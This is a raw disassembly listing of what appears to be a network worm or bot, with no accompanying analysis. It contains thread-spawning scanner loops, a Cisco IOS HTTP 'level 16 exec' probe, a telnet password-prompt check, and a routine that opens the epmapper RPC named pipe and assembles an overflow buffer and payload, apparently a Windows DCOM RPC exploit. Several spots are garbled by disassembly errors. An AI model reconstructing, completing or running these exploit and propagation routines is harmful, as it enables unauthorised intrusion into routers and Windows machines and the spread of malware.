mov [ebp+var_16C], eax
mov eax, [ebp+var_20]
pop ecx
mov [ebp+var_168], esi
mov [ebp+var_164], eax
lea esi, [ebp+var_20C]
mov edi, esp
shl eax, 6
rep movsd
call ds:off_4439F4[eax]
mov esi, [ebp+var_4]
add esp, 0BCh
loc_40A127: ; CODE XREF: sub_409F32+C3j
; sub_409F32+145j
push 7D0h
call ds:dword_4F12F4 ; Sleep
jmp loc_409F79
; ---------------------------------------------------------------------------
loc_40A137: ; CODE XREF: sub_409F32+55j
push esi
call sub_40905B
pop ecx
push 0
call near ptr 3D0000h
xchg eax, esp
sub_409F32 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A146 proc near ; DATA XREF: seg000:00405D04o
; seg000:0040767Co
var_1DC = dword ptr -1DCh
var_1CC = byte ptr -1CCh
var_14C = byte ptr -14Ch
var_13C = byte ptr -13Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1CCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_14C]
push 1
pop ebx
rep movsd
mov [eax+144h], ebx
lea eax, [ebp+var_14C]
push eax
call ds:dword_451530
mov ecx, [ebp+var_2C]
sub esp, 14Ch
lea esi, [ebp+var_14C]
push 53h
mov ds:dword_4DF378[ecx*8], eax
pop ecx
mov edi, esp
rep movsd
call loc_40970E
push 0Bh
call sub_408F87
add esp, 150h
cmp eax, ebx
jnz short loc_40A214
mov esi, offset dword_4E1378
push esi
call ds:dword_4F136C ; RtlDeleteCriticalSection
push 80000400h
push esi
call ds:dword_4F1368 ; InitializeCriticalSectionAndSpinCount
test eax, eax
jnz short loc_40A214
lea eax, [ebp+var_1CC]
push offset dword_444908
push eax
call sub_41D260
xor ebx, ebx
pop ecx
cmp [ebp+var_10], ebx
pop ecx
jnz short loc_40A1FE
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_40145D
add esp, 14h
loc_40A1FE: ; CODE XREF: sub_40A146+99j
lea eax, [ebp+var_1CC]
push eax
call sub_4161A7
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_40A214: ; CODE XREF: sub_40A146+63j
; sub_40A146+7Fj
mov eax, [ebp+var_2C]
mov esi, ds:dword_4F12F4
mov edi, ebx
mov ds:dword_4DF37C[eax*8], ebx
xor ebx, ebx
cmp [ebp+var_20], 1
jb loc_40A2E1
loc_40A232: ; CODE XREF: sub_40A146+195j
push edi
lea eax, [ebp+var_14C]
push [ebp+var_2C]
mov [ebp+var_24], edi
push [ebp+var_38]
push eax
lea eax, [ebp+var_1CC]
push offset dword_444964
push eax
call sub_41D260
push ebx
lea eax, [ebp+var_1CC]
push 0Bh
push eax
call sub_408D3F
mov [ebp+var_28], eax
imul eax, 234h
mov ecx, [ebp+var_2C]
add esp, 24h
mov ds:dword_4523BC[eax], ecx
lea eax, [ebp+var_14C]
push ebx
push ebx
push eax
push offset sub_409F32
push ebx
push ebx
call ds:dword_4F131C ; CreateThread
mov ecx, [ebp+var_28]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4523CC[ecx], eax
jz short loc_40A2AC
loc_40A2A1: ; CODE XREF: sub_40A146+164j
cmp [ebp+var_4], ebx
jnz short loc_40A2D3
push 1Eh
call esi ; dword_4F12F4
jmp short loc_40A2A1
; ---------------------------------------------------------------------------
loc_40A2AC: ; CODE XREF: sub_40A146+159j
call ds:dword_4F1310 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_1CC]
push offset dword_4449C4
push eax
call sub_41D260
lea eax, [ebp+var_1CC]
push eax
call sub_4161A7
add esp, 10h
loc_40A2D3: ; CODE XREF: sub_40A146+15Ej
push 1Eh
call esi ; dword_4F12F4
inc edi
cmp edi, [ebp+var_20]
jbe loc_40A232
loc_40A2E1: ; CODE XREF: sub_40A146+E6j
cmp [ebp+var_30], ebx
jz loc_40A38B
mov eax, [ebp+var_30]
imul eax, 0EA60h
push eax
call esi ; dword_4F12F4
loc_40A2F6: ; CODE XREF: sub_40A146+250j
push [ebp+var_30]
mov eax, [ebp+var_2C]
push [ebp+var_38]
mov eax, ds:dword_4DF378[eax*8]
push eax
call ds:dword_45157C
push eax
lea eax, [ebp+var_1CC]
push offset dword_444A28
push eax
call sub_41D260
add esp, 14h
cmp [ebp+var_10], ebx
jnz short loc_40A344
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_40145D
add esp, 14h
loc_40A344: ; CODE XREF: sub_40A146+1DFj
lea eax, [ebp+var_1CC]
push eax
call sub_4161A7
mov eax, [ebp+var_2C]
mov [esp+1DCh+var_1DC], 0BB8h
mov ds:dword_4DF37C[eax*8], ebx
call esi ; dword_4F12F4
push 0Bh
call sub_408F87
cmp eax, 1
pop ecx
jnz short loc_40A37B
push offset dword_4E1378
call ds:dword_4F136C ; RtlDeleteCriticalSection
loc_40A37B: ; CODE XREF: sub_40A146+228j
push [ebp+var_2C]
call sub_40905B
pop ecx
push ebx
call near ptr 3D0000h
xchg eax, ebx
loc_40A38B: ; CODE XREF: sub_40A146+19Ej
; sub_40A146+25Dj
mov eax, [ebp+var_2C]
cmp ds:dword_4DF37C[eax*8], 1
jnz loc_40A2F6
push 7D0h
call esi ; dword_4F12F4
jmp short loc_40A38B
sub_40A146 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A3A5 proc near ; DATA XREF: sub_40A472+7Bo
; seg000:0040A5DEo
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0BCh
mov eax, [ebp+arg_0]
push esi
push edi
push 2Bh
pop ecx
mov esi, eax
lea edi, [ebp+var_BC]
push 1
rep movsd
pop esi
mov [eax+0A8h], esi
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41D100
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_38]
call ds:dword_4514F4
mov [ebp+var_E], ax
mov eax, [ebp+var_28]
push 6
push esi
push 2
mov [ebp+var_C], eax
call ds:dword_451570
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40A463
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call ds:dword_45149C
mov ecx, [ebp+var_2C]
imul ecx, 234h
cmp eax, 0FFFFFFFFh
mov ds:dword_4523C4[ecx], esi
jz short loc_40A463
push [ebp+var_38]
push [ebp+var_28]
call ds:dword_45157C
push eax
mov edi, offset dword_4E1D3C
push offset dword_444A94
push edi
call sub_41D260
push 0
lea eax, [ebp+var_B8]
push [ebp+var_20]
push edi
push eax
push [ebp+var_BC]
call sub_40145D
push edi
call sub_4161A7
add esp, 28h
loc_40A463: ; CODE XREF: sub_40A3A5+5Dj
; sub_40A3A5+7Ej
push esi
call ds:dword_451588
pop edi
xor eax, eax
pop esi
leave
retn 4
sub_40A3A5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_40A472 proc near ; DATA XREF: seg000:00405FE1o
var_134 = byte ptr -134h
var_B4 = byte ptr -0B4h
var_30 = dword ptr -30h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 134h
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push 2Bh
mov esi, ebx
pop ecx
lea edi, [ebp+var_B4]
rep movsd
mov esi, ds:dword_4F12F4
mov dword ptr [ebx+0A4h], 1
xor edi, edi
loc_40A4A0: ; CODE XREF: sub_40A472+ECj
push [ebp+var_30]
push [ebp+var_20]
call ds:dword_45157C
push eax
lea eax, [ebp+var_134]
push offset dword_444AE4
push eax
call sub_41D260
lea eax, [ebp+var_134]
push 1FFh
push eax
mov eax, [ebp+var_24]
imul eax, 234h
add eax, offset dword_4521B8
push eax
call sub_41D800
add esp, 1Ch
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_B4]
push edi
push eax
push offset sub_40A3A5
push edi
push edi
call ds:dword_4F131C ; CreateThread
cmp eax, edi
mov [ebp+var_4], eax
jz short loc_40A50C
loc_40A501: ; CODE XREF: sub_40A472+98j
cmp [ebp+var_C], edi
jnz short loc_40A50C
push 32h
call esi ; dword_4F12F4
jmp short loc_40A501
; ---------------------------------------------------------------------------
loc_40A50C: ; CODE XREF: sub_40A472+8Dj
; sub_40A472+92j
push [ebp+var_4]
call ds:dword_4F12FC ; CloseHandle
push dword ptr [ebx+8Ch]
mov [ebx+0A8h], edi
call esi ; dword_4F12F4
lea eax, [ebp+var_20]
push 4
push eax
lea eax, [ebp+arg_0]
push eax
call sub_41E840
add esp, 0Ch
push [ebp+arg_0]
call ds:dword_451420
inc eax
push eax
mov [ebp+arg_0], eax
call ds:dword_4514F0
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
lea eax, [ebp+var_20]
push eax
call sub_41E840
add esp, 0Ch
jmp loc_40A4A0
sub_40A472 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 130h
push ebx
mov ebx, [ebp+8]
push esi
push edi
push 2Bh
mov esi, ebx
pop ecx
lea edi, [ebp-0B0h]
rep movsd
mov esi, ds:dword_4F12F4
mov dword ptr [ebx+0A4h], 1
xor edi, edi
loc_40A591: ; CODE XREF: seg000:0040A61Fj
push dword ptr [ebp-2Ch]
push dword ptr [ebp-1Ch]
call ds:dword_45157C
push eax
lea eax, [ebp-130h]
push offset dword_444B34
push eax
call sub_41D260
lea eax, [ebp-130h]
push 1FFh
push eax
mov eax, [ebp-20h]
imul eax, 234h
add eax, offset dword_4521B8
push eax
call sub_41D800
add esp, 1Ch
lea eax, [ebp-4]
push eax
lea eax, [ebp-0B0h]
push edi
push eax
push offset sub_40A3A5
push edi
push edi
call ds:dword_4F131C ; CreateThread
cmp eax, edi
mov [ebp+8], eax
jz short loc_40A5FD
loc_40A5F2: ; CODE XREF: seg000:0040A5FBj
cmp [ebp-8], edi
jnz short loc_40A5FD
push 32h
call esi ; dword_4F12F4
jmp short loc_40A5F2
; ---------------------------------------------------------------------------
loc_40A5FD: ; CODE XREF: seg000:0040A5F0j
; seg000:0040A5F5j
push dword ptr [ebp+8]
call ds:dword_4F12FC ; CloseHandle
push dword ptr [ebx+8Ch]
mov [ebx+0A8h], edi
call esi ; dword_4F12F4
mov eax, [ebp-2Ch]
cmp eax, [ebp-28h]
jz short loc_40A624
inc dword ptr [ebp-2Ch]
jmp loc_40A591
; ---------------------------------------------------------------------------
loc_40A624: ; CODE XREF: seg000:0040A61Aj
push dword ptr [ebp-1Ch]
call ds:dword_45157C
push eax
lea eax, [ebp-130h]
push offset dword_444B90
push eax
call sub_41D260
push edi
lea eax, [ebp-130h]
push dword ptr [ebp-14h]
push eax
lea eax, [ebp-0ACh]
push eax
push dword ptr [ebp-0B0h]
call sub_40145D
push dword ptr [ebp-20h]
call sub_40905B
add esp, 24h
xor eax, eax
pop edi
pop esi
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 290h
push esi
xor esi, esi
push edi
push esi
push 1
push 2
call ds:dword_451570
mov edi, eax
cmp edi, esi
jl loc_40A7DD
push 10h
lea eax, [ebp-10h]
push esi
push eax
call sub_41D100
add esp, 0Ch
lea eax, [ebp+0Ch]
mov word ptr [ebp-10h], 2
push eax
call ds:dword_451530
push dword ptr [ebp+0A8h]
mov [ebp-0Ch], eax
call ds:dword_4514F4
mov [ebp-0Eh], ax
lea eax, [ebp-10h]
push 10h
push eax
push edi
call ds:dword_45149C
cmp eax, 0FFFFFFFFh
jz loc_40A7DD
push 40h
lea eax, [ebp-50h]
push esi
push eax
call sub_41D100
push 40h
lea eax, [ebp-90h]
push esi
push eax
call sub_41D100
add esp, 18h
lea eax, [ebp-50h]
push esi
push 40h
push eax
push edi
call ds:dword_45150C
test eax, eax
jle loc_40A7DD
push esi
lea eax, [ebp-50h]
push 40h
push eax
push edi
call ds:dword_45150C
push esi
push 6
push offset dword_444BE4
push edi
call ds:dword_451540
push esi
lea eax, [ebp-90h]
push 40h
push eax
push edi
call ds:dword_45150C
push 6
lea eax, [ebp-90h]
push offset dword_444BEC
push eax
call sub_41EC40
add esp, 0Ch
test eax, eax
jz loc_40A7DD
push 28h
lea eax, [ebp-50h]
push offset aUserAccessVeri ; "\r\n\r\nUser Access Verification\r\n\r\nPasswor"...
push eax
call sub_41EC40
add esp, 0Ch
test eax, eax
jnz short loc_40A7DD
lea eax, [ebp+0Ch]
push eax
mov eax, [ebp+0B0h]
shl eax, 6
add eax, offset aNetbios ; "NetBios"
push eax
push offset unk_444C20
lea eax, [ebp-290h]
push 200h
push eax
call sub_41D360
push esi
lea eax, [ebp-290h]
push dword ptr [ebp+0B8h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_40145D
lea eax, [ebp-290h]
push eax
call sub_4161A7
mov eax, [ebp+0B0h]
add esp, 2Ch
shl eax, 6
inc ds:dword_4439F8[eax]
push 1
lea eax, dword_4439F8[eax]
pop eax
jmp short loc_40A7DF
; ---------------------------------------------------------------------------
loc_40A7DD: ; CODE XREF: seg000:0040A68Cj
; seg000:0040A6D4j ...
xor eax, eax
loc_40A7DF: ; CODE XREF: seg000:0040A7DBj
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 1210h
call sub_41DEB0
push ebx
push esi
xor ebx, ebx
push edi
push ebx
push 1
push 2
call ds:dword_451570
mov edi, eax
cmp edi, ebx
jl loc_40A951
push 10h
lea eax, [ebp-10h]
push ebx
push eax
call sub_41D100
add esp, 0Ch
lea eax, [ebp+0Ch]
mov word ptr [ebp-10h], 2
push eax
call ds:dword_451530
push dword ptr [ebp+0A8h]
mov [ebp-0Ch], eax
call ds:dword_4514F4
mov [ebp-0Eh], ax
lea eax, [ebp-10h]
push 10h
push eax
push edi
call ds:dword_45149C
cmp eax, 0FFFFFFFFh
jz loc_40A951
push ebx
push offset aGetLevel16Exec ; "GET /level/16/exec/-///pwd HTTP/1.0\n\n"
call sub_41AC70
pop ecx
push eax
push offset aGetLevel16Ex_0 ; "GET /level/16/exec/-///pwd HTTP/1.0\n\n"
push edi
call ds:dword_451540
test eax, eax
jl loc_40A951
mov esi, 1000h
lea eax, [ebp-1210h]
push esi
push ebx
push eax
call sub_41D100
add esp, 0Ch
lea eax, [ebp-1210h]
push ebx
push esi
push eax
push edi
call ds:dword_45150C
loc_40A899: ; DATA XREF: seg002:004460F4o
; seg002:00446138o ...
mov esi, eax
cmp esi, ebx
jl loc_40A951
push edi
call ds:dword_451588
cmp esi, 5
jl loc_40A951
lea eax, [ebp-1210h]
push offset aHttp1_0200Ok ; "HTTP/1.0 200 OK"
push eax
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jz loc_40A951
lea eax, [ebp-1210h]
push offset aCisco ; "cisco"
push eax
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jz short loc_40A951
lea eax, [ebp+0Ch]
push eax
mov eax, [ebp+0B0h]
shl eax, 6
add eax, offset aNetbios ; "NetBios"
push eax
push offset unk_444CD4
lea eax, [ebp-210h]
push 200h
push eax
call sub_41D360
push ebx
lea eax, [ebp-210h]
push dword ptr [ebp+0B8h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_40145D
lea eax, [ebp-210h]
push eax
call sub_4161A7
mov eax, [ebp+0B0h]
add esp, 2Ch
shl eax, 6
inc ds:dword_4439F8[eax]
push 1
lea eax, dword_4439F8[eax]
pop eax
jmp short loc_40A953
; ---------------------------------------------------------------------------
loc_40A951: ; CODE XREF: seg000:0040A804j
; seg000:0040A84Cj ...
xor eax, eax
loc_40A953: ; CODE XREF: seg000:0040A94Fj
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A958 proc near ; CODE XREF: seg000:0040AD39p
; seg000:0040E6F0p
var_354 = byte ptr -354h
var_34E = byte ptr -34Eh
var_124 = byte ptr -124h
var_123 = byte ptr -123h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 354h
push ebx
push esi
push edi
mov esi, offset off_445394
lea edi, [ebp+var_C]
mov ecx, 8Ah
movsd
movsd
movsd
mov esi, offset asc_4453A0 ; "\\\\"
lea edi, [ebp+var_354]
movsd
movsw
xor eax, eax
lea edi, [ebp+var_34E]
rep stosd
stosw
mov al, ds:byte_4E1F44
push 45h
mov [ebp+var_124], al
pop ecx
xor eax, eax
lea edi, [ebp+var_123]
rep stosd
stosw
stosb
lea eax, [ebp+var_124]
push 0FFh
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
xor edi, edi
push edi
push edi
call ds:dword_4F1370 ; MultiByteToWideChar
lea eax, [ebp+var_124]
push eax
lea eax, [ebp+var_354]
push eax
call sub_41ECF0
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_354]
push eax
call sub_41ECF0
mov esi, [ebp+arg_4]
add esp, 10h
lea eax, [ebp+var_354]
push edi
push offset dword_4E1F48
push offset dword_4E1F4C
push esi
mov [esi+4], edi
mov [esi+10h], edi
mov [esi+14h], eax
mov [esi+1Ch], edi
call ds:dword_451590
cmp eax, 5
mov ebx, 4C3h
jz short loc_40AA1F
cmp eax, ebx
jnz short loc_40AA29
loc_40AA1F: ; CODE XREF: sub_40A958+C1j
push edi
push edi
push edi
push esi
call ds:dword_451590
loc_40AA29: ; CODE XREF: sub_40A958+C5j
cmp eax, 5
jz short loc_40AA37
cmp eax, ebx
jz short loc_40AA37
push 1
pop eax
jmp short loc_40AA39
; ---------------------------------------------------------------------------
loc_40AA37: ; CODE XREF: sub_40A958+D4j
; sub_40A958+D8j
xor eax, eax
loc_40AA39: ; CODE XREF: sub_40A958+DDj
pop edi
pop esi
pop ebx
leave
retn
sub_40A958 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AA3E proc near ; CODE XREF: seg000:0040AD8Bp
; seg000:0040AE6Bp ...
var_354 = byte ptr -354h
var_34E = byte ptr -34Eh
var_124 = byte ptr -124h
var_123 = byte ptr -123h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 354h
push esi
push edi
mov esi, offset off_4453A8
lea edi, [ebp+var_C]
movsd
movsd
movsd
mov esi, offset asc_4453B4 ; "\\\\"
lea edi, [ebp+var_354]
movsd
movsw
mov ecx, 8Ah
xor eax, eax
lea edi, [ebp+var_34E]
push 45h
rep stosd
stosw
mov al, ds:byte_4E1F50
pop ecx
mov [ebp+var_124], al
xor eax, eax
lea edi, [ebp+var_123]
push 0FFh
rep stosd
stosw
stosb
lea eax, [ebp+var_124]
xor esi, esi
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
push esi
push esi
call ds:dword_4F1370 ; MultiByteToWideChar
lea eax, [ebp+var_124]
push eax
lea eax, [ebp+var_354]
push eax
call sub_41ECF0
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_354]
push eax
call sub_41ECF0
add esp, 10h
loc_40AACF: ; CODE XREF: sub_40AA3E+AFj
push esi
lea eax, [ebp+var_354]
push esi
push eax
call ds:dword_451430
test eax, eax
jz short loc_40AAEF
push 7D0h
call ds:dword_4F12F4 ; Sleep
jmp short loc_40AACF
; ---------------------------------------------------------------------------
loc_40AAEF: ; CODE XREF: sub_40AA3E+A2j
push 1
pop eax
pop edi
pop esi
leave
retn
sub_40AA3E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AAF6 proc near ; CODE XREF: seg000:0040ADBAp
; seg000:0040AEF8p
var_2000 = byte ptr -2000h
var_1FDC = byte ptr -1FDCh
var_1FD0 = byte ptr -1FD0h
var_1F29 = byte ptr -1F29h
var_1000 = byte ptr -1000h
var_FF8 = dword ptr -0FF8h
var_FF0 = dword ptr -0FF0h
var_F80 = dword ptr -0F80h
var_F7C = dword ptr -0F7Ch
var_F4C = dword ptr -0F4Ch
var_F48 = dword ptr -0F48h
var_F30 = dword ptr -0F30h
var_E74 = dword ptr -0E74h
var_CA0 = dword ptr -0CA0h
var_C98 = dword ptr -0C98h
var_C90 = byte ptr -0C90h
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
arg_C4 = dword ptr 0CCh
push ebp
mov ebp, esp
mov eax, 2000h
call sub_41DEB0
push ebx
push esi
push edi
push 30h
lea eax, [ebp+var_2000]
push offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX"
push eax
mov edi, 0A7h
call sub_41E840
push edi
lea eax, [ebp+var_1FD0]
push 0FFFFFF90h
push eax
call sub_41D100
mov ebx, (offset loc_445237+1)
push 159h
lea eax, [ebp+var_1F29]
push ebx
push eax
call sub_41E840
add esp, 24h
loc_40AB47: ; CODE XREF: sub_40AAF6+9Bj
push 30h
lea eax, [ebp+var_2000]
push offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX"
push eax
inc edi
call sub_41E840
push edi
lea eax, [ebp+var_1FD0]
push 0FFFFFF90h
push eax
call sub_41D100
push 159h
lea eax, [ebp+edi+var_1FD0]
push ebx
push eax
call sub_41E840
add esp, 24h
lea esi, [edi+189h]
mov eax, esi
push 10h
cdq
pop ecx
idiv ecx
cmp edx, 0Ch
jnz short loc_40AB47
cmp [ebp+arg_C4], 0
jz short loc_40ABAE
cmp [ebp+arg_C0], 3
jz short loc_40ABB7
cmp [ebp+arg_C0], 0
jmp short loc_40ABB5
; ---------------------------------------------------------------------------
loc_40ABAE: ; CODE XREF: sub_40AAF6+A4j
cmp [ebp+arg_C0], 3
loc_40ABB5: ; CODE XREF: sub_40AAF6+B6j
jnz short loc_40ABC0
loc_40ABB7: ; CODE XREF: sub_40AAF6+ADj
push 4
push offset loc_445234
jmp short loc_40ABC7
; ---------------------------------------------------------------------------
loc_40ABC0: ; CODE XREF: sub_40AAF6:loc_40ABB5j
push 4
push offset dword_445230
loc_40ABC7: ; CODE XREF: sub_40AAF6+C8j
lea eax, [ebp+var_1FDC]
push eax
call sub_41E840
add esp, 0Ch
lea eax, [ebp+var_1000]
push 360h
push offset dword_444D68
push eax
call sub_41E840
push 10h
lea eax, [ebp+var_CA0]
push offset dword_4450CC
push eax
call sub_41E840
lea eax, [ebp+var_2000]
push esi
push eax
lea eax, [ebp+var_C90]
push eax
call sub_41E840
lea edi, [esi+370h]
push 3Ch
push offset off_4450E0
lea eax, [ebp+edi+var_1000]
push eax
call sub_41E840
add edi, 3Ch
push 30h
push offset dword_445120
lea eax, [ebp+edi+var_1000]
push eax
call sub_41E840
mov eax, esi
add edi, 30h
cdq
sub eax, edx
sar eax, 1
add [ebp+var_CA0], eax
add [ebp+var_C98], eax
mov eax, [ebp+var_FF8]
lea eax, [eax+esi-0Ch]
mov [ebp+var_FF8], eax
mov eax, [ebp+var_FF0]
lea eax, [eax+esi-0Ch]
mov [ebp+var_FF0], eax
mov eax, [ebp+var_F80]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F80], eax
mov eax, [ebp+var_F7C]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F7C], eax
mov eax, [ebp+var_F4C]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F4C], eax
mov eax, [ebp+var_F48]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F48], eax
mov eax, [ebp+var_F30]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F30], eax
mov eax, [ebp+var_E74]
lea eax, [eax+esi-0Ch]
lea esi, [edi+1]
push esi
mov [ebp+var_E74], eax
call sub_41AE40
add esp, 40h
mov ebx, eax
push esi
push 0
push ebx
call sub_41D100
lea eax, [ebp+var_1000]
push edi
push eax
push ebx
call sub_41E840
mov eax, [ebp+arg_BC]
add esp, 18h
mov [eax], edi
mov eax, ebx
pop edi
pop esi
pop ebx
leave
retn
sub_40AAF6 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 1138h
call sub_41DEB0
cmp dword ptr [ebp+0A8h], 1BDh
push ebx
push esi
push edi
jnz loc_40AE7F
lea eax, [ebp-34h]
push eax
lea eax, [ebp+0Ch]
push eax
call sub_40A958
pop ecx
test eax, eax
pop ecx
jz loc_40AF8F
lea eax, [ebp+0Ch]
push eax
lea eax, [ebp-138h]
push offset aSPipeEpmapper ; "\\\\%s\\pipe\\epmapper"
push eax
call sub_41D260
add esp, 0Ch
xor ebx, ebx
lea eax, [ebp-138h]
push ebx
push 80h
push 3
push ebx
push 1
push 0C0000000h
push eax
call ds:dword_4F1380 ; CreateFileA
cmp eax, 0FFFFFFFFh
mov [ebp-4], eax
jnz short loc_40AD96
loc_40AD87: ; CODE XREF: seg000:0040AE37j
lea eax, [ebp+0Ch]
push eax
call sub_40AA3E
pop ecx
jmp loc_40AF8F
; ---------------------------------------------------------------------------
loc_40AD96: ; CODE XREF: seg000:0040AD85j
lea eax, [ebp+0Ch]
push 2
push eax
call sub_417569
pop ecx
lea esi, [ebp+8]
pop ecx
push 1
push eax
lea eax, [ebp-10h]
push eax
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40AAF6
add esp, 0C8h
cmp eax, ebx
mov [ebp-8], eax
jz short loc_40AE2E
mov edi, 186A0h
push edi
call sub_41AE40
mov esi, eax
push edi
push ebx
push esi
call sub_41D100
add esp, 10h
lea eax, [ebp-0Ch]
mov edi, 2710h
push ebx
push eax
push edi
push esi
push 48h
push offset dword_444D1C
push dword ptr [ebp-4]
call near ptr 3D0000h
in eax, dx
cmp byte ptr [esi+2], 0Ch
jnz short near ptr loc_40AE1B+3
lea eax, [ebp-14h]
push ebx
push eax
push dword ptr [ebp-10h]
push dword ptr [ebp-8]
push dword ptr [ebp-4]
call near ptr 3D0000h
cmp al, 85h
loc_40AE1B: ; CODE XREF: seg000:0040AE04j
sal byte ptr [ebp+1Eh], 56h
call sub_41B8B0
push dword ptr [ebp-8]
call sub_41B8B0
pop ecx
pop ecx
loc_40AE2E: ; CODE XREF: seg000:0040ADCAj
push dword ptr [ebp-4]
call ds:dword_4F12FC ; CloseHandle
jmp loc_40AD87
; ---------------------------------------------------------------------------
lea eax, [ebp-0Ch]
push ebx
push eax
push edi
push esi
push dword ptr [ebp-4]
call ds:dword_4F1374 ; ReadFile
push dword ptr [ebp-8]
mov edi, eax
call sub_41B8B0
push esi
call sub_41B8B0
pop ecx
pop ecx
push dword ptr [ebp-4]
call ds:dword_4F12FC ; CloseHandle
lea eax, [ebp+0Ch]
push eax
call sub_40AA3E
cmp edi, 1
pop ecx
jnz loc_40AFA0
jmp loc_40AF8F
; ---------------------------------------------------------------------------
loc_40AE7F: ; CODE XREF: seg000:0040AD2Bj
lea eax, [ebp+0Ch]
push 1
push eax
call sub_417569
mov esi, eax
pop ecx
cmp esi, 1
pop ecx
jz loc_40AF8F
xor ebx, ebx
push ebx
push 1
push 2
call ds:dword_451570
cmp eax, 0FFFFFFFFh
mov [ebp-4], eax
jz loc_40AF8F
push 10h
lea eax, [ebp-24h]
push ebx
push eax
call sub_41D100
add esp, 0Ch
mov word ptr [ebp-24h], 2
push dword ptr [ebp+0A8h]
call ds:dword_4514F4
mov [ebp-22h], ax
lea eax, [ebp+0Ch]
push eax
call ds:dword_451530
mov [ebp-20h], eax
push ebx
lea eax, [ebp-0Ch]
push esi
push eax
lea esi, [ebp+8]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40AAF6
mov esi, eax
add esp, 0C8h
cmp esi, ebx
mov [ebp-8], esi
jnz short loc_40AF11
push dword ptr [ebp-4]
jmp short loc_40AF89
; ---------------------------------------------------------------------------
loc_40AF11: ; CODE XREF: seg000:0040AF0Aj
mov edi, [ebp-4]
lea eax, [ebp-24h]
push 10h
push eax
push edi
call ds:dword_45149C
cmp eax, 0FFFFFFFFh
jnz short loc_40AF29
loc_40AF26: ; CODE XREF: seg000:0040AF3Bj
push esi
jmp short loc_40AF82
; ---------------------------------------------------------------------------
loc_40AF29: ; CODE XREF: seg000:0040AF24j
push ebx
push 48h
push offset dword_444D1C
push edi
call ds:dword_451540
cmp eax, 0FFFFFFFFh
jz short loc_40AF26
mov esi, 1000h
push ebx
lea eax, [ebp-1138h]
push esi
push eax
push edi
call ds:dword_45150C
push ebx
push dword ptr [ebp-0Ch]
push dword ptr [ebp-8]
push edi
call ds:dword_451540
cmp eax, 0FFFFFFFFh
jnz short loc_40AF6A
push dword ptr [ebp-8]
jmp short loc_40AF82
; ---------------------------------------------------------------------------
loc_40AF6A: ; CODE XREF: seg000:0040AF63j
push ebx
lea eax, [ebp-1138h]
push esi
push eax
push edi
call ds:dword_45150C
push dword ptr [ebp-8]
cmp eax, 0FFFFFFFFh
jnz short loc_40AF93
loc_40AF82: ; CODE XREF: seg000:0040AF27j
; seg000:0040AF68j
call sub_41B8B0
pop ecx
push edi
